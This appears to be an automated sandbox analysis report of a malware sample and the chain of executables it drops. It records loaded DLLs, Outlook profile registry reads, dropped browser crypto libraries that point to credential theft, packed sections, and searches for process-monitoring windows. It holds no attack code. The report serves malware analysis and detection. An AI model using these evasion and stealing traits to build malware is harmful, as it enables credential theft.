Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Section loaded: schannel.dll

Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: AWrVzd6XpC.exe

Static file information: File size 1862144 > 1048576

Source: AWrVzd6XpC.exe

Static PE information: Raw size of fkrxxztc is bigger than: 0x100000 < 0x19e400

Source:	Binary string: mozglue.pdbP source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2540920439.000000006CE7D000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: nss3.pdb@ source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr
Source:	Binary string: softokn3.pdb@ source: softokn3.dll.5.dr, softokn3[1].dll.5.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.5.dr
Source:	Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: I8WIG9OBFWN5NKZK2DW5QG7.exe, 00000004.00000002.2140379581.0000000000712000.00000040.00000001.01000000.00000006.sdmp, I8WIG9OBFWN5NKZK2DW5QG7.exe, 00000004.00000003.2007194897.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2540656437.000000006C5DF000.00000002.00000001.01000000.0000000D.sdmp, nss3.dll.5.dr, nss3[1].dll.5.dr
Source:	Binary string: mozglue.pdb source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe, 00000005.00000002.2540920439.000000006CE7D000.00000002.00000001.01000000.0000000E.sdmp
Source:	Binary string: softokn3.pdb source: softokn3.dll.5.dr, softokn3[1].dll.5.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Unpacked PE file: 4.2.I8WIG9OBFWN5NKZK2DW5QG7.exe.710000.0.unpack :EW;.rsrc:W;.idata :W; :EW;pwjairst:EW;lcewkiss:EW;.taggant:EW; vs :ER;.rsrc:W;
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Unpacked PE file: 5.2.BSXM76J67J2SWCC02VQCUVS8ZQNV.exe.ae0000.0.unpack :EW;.rsrc:W;.idata :W;oiorywlp:EW;yzgbcaqs:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;oiorywlp:EW;yzgbcaqs:EW;.taggant:EW;
Source: C:\Users\user\Documents\GCBKECAKFB.exe	Unpacked PE file: 12.2.GCBKECAKFB.exe.810000.0.unpack :EW;.rsrc:W;.idata :W;sftdblig:EW;tqdamjfv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;sftdblig:EW;tqdamjfv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 13.2.skotes.exe.540000.0.unpack :EW;.rsrc:W;.idata :W;sftdblig:EW;tqdamjfv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;sftdblig:EW;tqdamjfv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 14.2.skotes.exe.540000.0.unpack :EW;.rsrc:W;.idata :W;sftdblig:EW;tqdamjfv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;sftdblig:EW;tqdamjfv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 15.2.skotes.exe.540000.0.unpack :EW;.rsrc:W;.idata :W;sftdblig:EW;tqdamjfv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;sftdblig:EW;tqdamjfv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Unpacked PE file: 19.2.59bcbe04f3.exe.c0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;uzxdwyvi:EW;efzdldig:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;uzxdwyvi:EW;efzdldig:EW;.taggant:EW;

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe.0.dr	Static PE information: real checksum: 0x2c266a should be: 0x2cbc47
Source: random[1].exe.5.dr	Static PE information: real checksum: 0x2e91a4 should be: 0x2ef9d5
Source: 8c6b987a2c.exe.15.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: random[1].exe.15.dr	Static PE information: real checksum: 0x0 should be: 0xc8597
Source: skotes.exe.12.dr	Static PE information: real checksum: 0x2e91a4 should be: 0x2ef9d5
Source: random[1].exe0.15.dr	Static PE information: real checksum: 0x1d2d25 should be: 0x1d6b7c
Source: 59bcbe04f3.exe.15.dr	Static PE information: real checksum: 0x1d2d25 should be: 0x1d6b7c
Source: I8WIG9OBFWN5NKZK2DW5QG7.exe.0.dr	Static PE information: real checksum: 0x1a8f48 should be: 0x1affe7
Source: AWrVzd6XpC.exe	Static PE information: real checksum: 0x1d1706 should be: 0x1caf6e
Source: GCBKECAKFB.exe.5.dr	Static PE information: real checksum: 0x2e91a4 should be: 0x2ef9d5

Source: AWrVzd6XpC.exe	Static PE information: section name:
Source: AWrVzd6XpC.exe	Static PE information: section name: .idata
Source: AWrVzd6XpC.exe	Static PE information: section name:
Source: AWrVzd6XpC.exe	Static PE information: section name: fkrxxztc
Source: AWrVzd6XpC.exe	Static PE information: section name: rrjayidd
Source: AWrVzd6XpC.exe	Static PE information: section name: .taggant
Source: I8WIG9OBFWN5NKZK2DW5QG7.exe.0.dr	Static PE information: section name:
Source: I8WIG9OBFWN5NKZK2DW5QG7.exe.0.dr	Static PE information: section name: .idata
Source: I8WIG9OBFWN5NKZK2DW5QG7.exe.0.dr	Static PE information: section name:
Source: I8WIG9OBFWN5NKZK2DW5QG7.exe.0.dr	Static PE information: section name: pwjairst
Source: I8WIG9OBFWN5NKZK2DW5QG7.exe.0.dr	Static PE information: section name: lcewkiss
Source: I8WIG9OBFWN5NKZK2DW5QG7.exe.0.dr	Static PE information: section name: .taggant
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe.0.dr	Static PE information: section name:
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe.0.dr	Static PE information: section name: .idata
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe.0.dr	Static PE information: section name: oiorywlp
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe.0.dr	Static PE information: section name: yzgbcaqs
Source: BSXM76J67J2SWCC02VQCUVS8ZQNV.exe.0.dr	Static PE information: section name: .taggant
Source: freebl3.dll.5.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.5.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.5.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.5.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.5.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.5.dr	Static PE information: section name: .didat
Source: nss3.dll.5.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.5.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.5.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.5.dr	Static PE information: section name: .00cfg
Source: random[1].exe.5.dr	Static PE information: section name:
Source: random[1].exe.5.dr	Static PE information: section name: .idata
Source: random[1].exe.5.dr	Static PE information: section name: sftdblig
Source: random[1].exe.5.dr	Static PE information: section name: tqdamjfv
Source: random[1].exe.5.dr	Static PE information: section name: .taggant
Source: GCBKECAKFB.exe.5.dr	Static PE information: section name:
Source: GCBKECAKFB.exe.5.dr	Static PE information: section name: .idata
Source: GCBKECAKFB.exe.5.dr	Static PE information: section name: sftdblig
Source: GCBKECAKFB.exe.5.dr	Static PE information: section name: tqdamjfv
Source: GCBKECAKFB.exe.5.dr	Static PE information: section name: .taggant
Source: skotes.exe.12.dr	Static PE information: section name:
Source: skotes.exe.12.dr	Static PE information: section name: .idata
Source: skotes.exe.12.dr	Static PE information: section name: sftdblig
Source: skotes.exe.12.dr	Static PE information: section name: tqdamjfv
Source: skotes.exe.12.dr	Static PE information: section name: .taggant
Source: random[1].exe0.15.dr	Static PE information: section name:
Source: random[1].exe0.15.dr	Static PE information: section name: .idata
Source: random[1].exe0.15.dr	Static PE information: section name:
Source: random[1].exe0.15.dr	Static PE information: section name: uzxdwyvi
Source: random[1].exe0.15.dr	Static PE information: section name: efzdldig
Source: random[1].exe0.15.dr	Static PE information: section name: .taggant
Source: 59bcbe04f3.exe.15.dr	Static PE information: section name:
Source: 59bcbe04f3.exe.15.dr	Static PE information: section name: .idata
Source: 59bcbe04f3.exe.15.dr	Static PE information: section name:
Source: 59bcbe04f3.exe.15.dr	Static PE information: section name: uzxdwyvi
Source: 59bcbe04f3.exe.15.dr	Static PE information: section name: efzdldig
Source: 59bcbe04f3.exe.15.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C85EBF pushfd ; ret	0_3_00C85EC2
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C85EBF pushfd ; ret	0_3_00C85EC2
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C85EBF pushfd ; ret	0_3_00C85EC2
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C8844F push ds; retf	0_3_00C88450
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C8844F push ds; retf	0_3_00C88450
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C8844F push ds; retf	0_3_00C88450
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C88B1F push cs; iretd	0_3_00C88B20
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C88B1F push cs; iretd	0_3_00C88B20
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C88B1F push cs; iretd	0_3_00C88B20
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C85EBF pushfd ; ret	0_3_00C85EC2
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C85EBF pushfd ; ret	0_3_00C85EC2
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C85EBF pushfd ; ret	0_3_00C85EC2
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C8844F push ds; retf	0_3_00C88450
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C8844F push ds; retf	0_3_00C88450
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C8844F push ds; retf	0_3_00C88450
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C88B1F push cs; iretd	0_3_00C88B20
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C88B1F push cs; iretd	0_3_00C88B20
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C88B1F push cs; iretd	0_3_00C88B20
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C89838 pushad ; ret	0_3_00C89839
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C89838 pushad ; ret	0_3_00C89839
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C85EBF pushfd ; ret	0_3_00C85EC2
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C85EBF pushfd ; ret	0_3_00C85EC2
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C85EBF pushfd ; ret	0_3_00C85EC2
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C8844F push ds; retf	0_3_00C88450
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C8844F push ds; retf	0_3_00C88450
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C8844F push ds; retf	0_3_00C88450
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C88B1F push cs; iretd	0_3_00C88B20
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C88B1F push cs; iretd	0_3_00C88B20
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C88B1F push cs; iretd	0_3_00C88B20
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C89838 pushad ; ret	0_3_00C89839
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Code function: 0_3_00C89838 pushad ; ret	0_3_00C89839

Source: AWrVzd6XpC.exe	Static PE information: section name: entropy: 7.980897412592947
Source: AWrVzd6XpC.exe	Static PE information: section name: fkrxxztc entropy: 7.954971364024604
Source: I8WIG9OBFWN5NKZK2DW5QG7.exe.0.dr	Static PE information: section name: entropy: 7.766545416765687
Source: I8WIG9OBFWN5NKZK2DW5QG7.exe.0.dr	Static PE information: section name: pwjairst entropy: 7.953726534682487
Source: random[1].exe.5.dr	Static PE information: section name: entropy: 7.985033648213991
Source: GCBKECAKFB.exe.5.dr	Static PE information: section name: entropy: 7.985033648213991
Source: skotes.exe.12.dr	Static PE information: section name: entropy: 7.985033648213991
Source: random[1].exe0.15.dr	Static PE information: section name: entropy: 7.974324170155358
Source: random[1].exe0.15.dr	Static PE information: section name: uzxdwyvi entropy: 7.955304664762435
Source: 59bcbe04f3.exe.15.dr	Static PE information: section name: entropy: 7.974324170155358
Source: 59bcbe04f3.exe.15.dr	Static PE information: section name: uzxdwyvi entropy: 7.955304664762435

Persistence and Installation Behavior

Drops PE files to the document folder of the user

Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe

File created: C:\Users\user\Documents\GCBKECAKFB.exe

Jump to dropped file

Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File created: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File created: C:\Users\user\Documents\GCBKECAKFB.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017408001\8c6b987a2c.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	File created: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1017409001\59bcbe04f3.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Documents\GCBKECAKFB.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\I8WIG9OBFWN5NKZK2DW5QG7.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\BSXM76J67J2SWCC02VQCUVS8ZQNV.exe	Window searched: window name: FilemonClass	Jump to behavior
